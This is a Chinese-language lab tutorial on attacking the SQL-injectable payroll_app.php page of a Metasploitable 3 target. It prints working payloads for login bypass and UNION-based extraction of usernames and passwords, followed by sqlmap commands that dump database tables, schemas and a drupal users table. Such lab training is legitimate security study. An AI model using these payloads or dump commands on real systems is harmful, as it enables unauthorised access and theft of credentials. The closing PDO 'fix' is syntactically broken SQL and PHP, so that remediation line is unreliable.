介紹如何使用 SQL injection 漏洞攻擊 Metasploitable 3 靶機網頁,執行滲透測試演練。
在安裝完 Metasploitable 3 的 Ubuntu Linux 14.04 靶機之後,這一台靶機預設會在 80 連接埠啟動網頁伺服器,我們連上這台之後,就可以看到一些內容:
這裡我們選擇 payroll_app.php
這個含有 SQL injection 漏洞的 PHP 來進行測試,打開網頁之後會看到一個輸入帳號與密碼的表單。
這個網頁的原始碼我們可以從 Metasploitable 3 的 GitHub 網站查看,由於它在處理 MySQL 指令查詢的時候,直接將表單輸入的資料嵌入 MySQL 指令中,所以導致了 SQL injection 的重大漏洞。
我們可以透過輸入以下片段 SQL 指令,繞過網頁帳號與密碼的檢查:
' OR 1=1#
在這個 PHP 指令稿中,處理 MySQL 指令的程式碼為:
# 含有 SQL Injection 漏洞的 PHP 程式碼 $sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";
這行程式碼在正常狀況下可以運作,但是當攻擊者輸入了上述的片段 SQL 指令,就會導致最終產生的 MySQL 指令變成這樣:
select username, first_name, last_name, salary from users where username = '' OR 1=1#' and password = ''
因此原本的帳號與密碼檢查機制就失效了。
SQL injection 的原理很簡單,就是插入一些片段 SQL 指令,嘗試改變原始的程式邏輯,但可以有很多變化,以下這個片段 SQL 指令會造成資料庫中的帳號與密碼洩漏:
' OR 1=1 UNION SELECT null,null,username,password FROM users#
這裡所產生的 MySQL 指令會像這樣:
select username, first_name, last_name, salary from users where username = '' OR 1=1 UNION SELECT null,null,username,password FROM users#' and password = ''
這裡使用了 UNION
將攻擊者想要取得的資訊放在原本資料的後面。
利用同樣的原理,我們就可以取得各種資料庫中的資訊,以下是取得 MySQL 伺服器的版本資訊:
' UNION SELECT null,null,null,@@version#
這台 MySQL 資料庫的版本是 5.5.62-0ubuntu0.14.04.1。
sqlmap
取得資料SQL injection 漏洞除了讓認證失效之外,還可能造成整個資料庫的資料外洩,sqlmap
就是一個可以利用 SQL injection 漏洞來取得資料庫內容的自動化工具,以下是 sqlmap
取得整個資料庫內容的操作步驟。
先使用 sqlmap
進行基本的 SQL injection 偵測:
# 以 sqlmap 進行 SQL Injection 偵測 sqlmap --url http://192.168.5.5/payroll_app.php \ --data="user=admin&password=admin&s=OK"
在偵測的過程中,sqlmap
會詢問使用者一些問題,可依照狀況來回答。
偵測完成後,會列出可用的 SQL injection 弱點,可以選擇要使用的弱點編號進行 SQL injection。
若要輸出目前所使用的資料表內容,可以使用 --dump
參數:
# 輸出目前資料庫的資料表 sqlmap --url http://192.168.5.5/payroll_app.php \ --data="user=admin&password=admin&s=OK" --dump
若要輸出所有資料庫的 schema 定義資訊,可以使用 --schema
參數:
# 輸出所有資料庫的 schema sqlmap --url http://192.168.5.5/payroll_app.php \ --data="user=admin&password=admin&s=OK" --schema
若要輸出指定資料庫中的資料表內容,可以使用 --dump
搭配 -D
與 -T
參數來指定資料庫與資料表,例如輸出 drupal
資料庫的 users
資料表:
# 輸出 drupal 資料庫的 users 資料表 sqlmap --url http://192.168.5.5/payroll_app.php \ --data="user=admin&password=admin&s=OK" \ --dump -D drupal -T users
若要將整個 MySQL 資料庫的內容全部輸出,可以使用 sqlmap
的 --dump-all
參數。
在 OWASP Cheat Sheet Series 中有整理了一些避免 SQL injection 的解法,方法有很多種,若採取 PDO 的方式,可以參考 (The only proper) PDO tutorial 的教學文件,修改 MySQL 連線相關的程式碼,並把原來的 PHP 產生 MySQL 指令的那一行改為這樣:
# 改用 PDO 的方式建立 MySQL 指令 $sql = $conn->prepare("SELECT FROM users (username, first_name, last_name, salary) WHERE username = :user AND password = :pass)";